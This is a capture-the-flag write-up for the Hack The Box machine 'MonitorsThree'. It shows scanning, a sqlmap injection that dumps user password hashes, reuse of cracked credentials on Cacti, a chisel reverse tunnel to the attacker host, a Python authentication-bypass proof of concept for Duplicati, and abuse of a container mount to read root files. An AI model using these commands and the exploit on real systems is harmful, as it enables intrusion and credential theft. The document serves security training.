HTB - monitorsthree

nmap
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-25 10:55 -04
Nmap scan report for 10.10.11.30
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 86f87d6f4291bb897291af72f301ff5b (ECDSA)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://monitorsthree.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
8084/tcp filtered websnp
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.37 seconds
Starting Nmap 7.93 ( https://nmap.org ) at 2025-02-25 10:55 -04
Warning: 10.10.11.30 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.10.11.30
Host is up (0.17s latency).
All 65535 scanned ports on 10.10.11.30 are in ignored states.
Not shown: 65457 open|filtered udp ports (no-response), 78 closed udp ports (port-unreach)
Nmap done: 1 IP address (1 host up) scanned in 73.27 seconds
subdomain bruteforce
~/workspace/projects/htb/monitorsthree » ffuf -u http://$(cat ip.txt)/ -H 'Host: FUZZ.monitorsthree.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -ac
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.30/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.monitorsthree.htb
:: Follow redirects : false
:: Calibration : true
:: Timeout : 10
:: Threads : 50
:: Matcher : Response status: all
________________________________________________
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 162ms]
| URL | http://10.10.11.30/
| --> | /cacti
* FUZZ: cacti
monitorsthree.htbcacti.monitorsthree.htb
monitorsthree.htb

This seems to be a simple webpage with a login.
There is an sql injection on the forgot password page.

sqlmap can exploit it without tweaks:
sqlmap -r request.txt -p username --dbms=mysql --threads 10 --sql-shell
A couple of users found:
[*] David Thompson,Database Manager,1982-11-23,dthompson@monitorsthree.htb,5,633b683cc128fe244b00f176c8a950f5,83000.00,2022-09-15,mwatson
[*] Jennifer Anderson,Network Engineer,1990-07-30,janderson@monitorsthree.htb,6,1e68b6eb86b45f6d92f8f292428f77ac,68000.00,2021-06-20,janderson
[*] Marcus Higgins,Super User,1978-04-25,admin@monitorsthree.htb,2,31a181c8372e3afc59dab863430610e8,320800.00,2021-01-12,admin
[*] Michael Watson,Website Administrator,1985-02-15,mwatson@monitorsthree.htb,7,c585d01f2eb3e6e1073e92023088a3dd,75000.00,2021-05-10,dthompson
Crackstation founds the password for admin

The dashboard doesnt seem to have anything interesting. Lets try the credentials on cacti.

It works. The ui shows version 1.2.26 seems to be vulnerable to CVE-2024-25641 and there is a poc for it CVE-2024-25641

priv esc
interesting stuff on /opt
www-data@monitorsthree:~/html/cacti/resource$ ls /opt
ls /opt
backups
containerd
docker-compose.yml
duplicati
“Duplicati is a free, open-source backup solution that offers zero-trust, fully encrypted backups for your data.”. It can be accessed at port 8200. Let’s use chisel to forward it.
- server (host):
- chisel server -p 8000 –reverse
- client (box):
- ./chisel client 10.10.14.37:8000 R:8200:127.0.0.1:8200

Seems to be version 2.0.8.1 according to the html.

And there is an auth bypass for it online.
POC based on the article:
import requests
import base64
import hashlib
server_pass = base64.b64decode("SERVER_PASSWORD")
with requests.Session() as ses:
burp0_url = "http://0.0.0.0:8200/login.cgi"
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
burp0_data = {"get-nonce": "1"}
res = ses.post(burp0_url, headers=burp0_headers, data=burp0_data)
nonce = base64.b64decode(res.json()["Nonce"])
out = base64.b64encode(hashlib.sha256(nonce + server_pass).digest())
burp0_url = "http://0.0.0.0:8200/login.cgi"
burp0_headers = {"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}
burp0_data = {"password": out}
ses.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(f"{ses.cookies.get('session-auth')}")

The backup runs inside a Mono runtime. That way its isolated from the host.
But the dockerfile mounts / to /source. So every file on host is available inside the container.
volumes:
- /opt/duplicati/config:/config
- /:/source
We can then just choose to backup the root and user flag and select the output location.

www-data@monitorsthree:/tmp/123$ cat ./home/marcus/user.txt
ff150***************************
www-data@monitorsthree:/tmp/123$ cat ./root/root.txt
caaa2***************************